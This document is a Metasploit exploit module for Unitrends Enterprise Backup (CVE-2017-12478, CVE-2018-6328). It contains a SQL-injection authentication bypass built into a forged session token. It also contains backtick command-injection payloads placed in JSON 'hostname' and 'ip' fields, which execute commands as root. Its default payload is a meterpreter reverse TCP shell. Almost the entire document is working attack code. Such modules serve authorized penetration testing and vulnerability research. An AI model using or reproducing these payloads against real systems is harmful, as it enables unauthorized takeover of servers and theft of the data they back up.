## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Unitrends UEB http api remote code execution', 'Description' => %q{ It was discovered that the api/storage web interface in Unitrends Backup (UB) before 10.0.0 has an issue in which one of its input parameters was not validated. A remote attacker could use this flaw to bypass authentication and execute arbitrary commands with root privilege on the target system. UEB v9 runs the api under root privileges and api/storage is vulnerable. UEB v10 runs the api under limited privileges and api/hosts is vulnerable. }, 'Author' => [ 'Cale Smith', # @0xC413 'Benny Husted', # @BennyHusted 'Jared Arave', # @iotennui 'h00die' ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => [ARCH_X86], 'CmdStagerFlavor' => [ 'printf' ], 'References' => [ ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'], ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000006002'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'], ['URL', 'http://blog.redactedsec.net/exploits/2018/01/29/UEB9.html'], ['EDB', '44297'], ['CVE', '2017-12478'], ['CVE', '2018-6328'] ], 'Targets' => [ [ 'UEB 9.*', { 'Privileged' => true} ], [ 'UEB < 10.1.0', { 'Privileged' => false} ] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'SSL' => true }, 'DisclosureDate' => 'Aug 8 2017', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]) ]) deregister_options('SRVHOST', 'SRVPORT') end def auth_token session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" #SQLi auth bypass Base64.strict_encode64(session) #b64 encode session token end def check res = send_request_cgi!({ 'method' => 'GET', 'uri' => '/api/systems/details', 'ctype' => 'application/json', 'headers' => {'AuthToken' => auth_token} }) if res && res.code == 200 print_good("Good news, looks like a vulnerable version of UEB.") return CheckCode::Appears else print_bad('Host does not appear to be vulnerable.') end return CheckCode::Safe end #substitue some charactes def filter_bad_chars(cmd) cmd.gsub!("\\", "\\\\\\") cmd.gsub!("'", '\\"') end def execute_command(cmd, opts = {}) if target.name == 'UEB 9.*' #substitue the cmd into the hostname parameter parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`| parms << filter_bad_chars(cmd) parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}| uri = '/api/storage' elsif target.name == 'UEB < 10.1.0' parms = %Q|{"name":"ffff","ip":"10.0.0.200'\\"`0&| parms << filter_bad_chars(cmd) parms << %Q|`'"}| uri = '/api/hosts' end res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'ctype' => 'application/json', 'encode_params' => false, 'data' => parms, 'headers' => {'AuthToken' => auth_token} }) if res && res.code != 500 fail_with(Failure::UnexpectedReply,'Unexpected response') end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end def exploit print_status("#{peer} - Sending requests to UEB...") execute_cmdstager(:linemax => 120) end end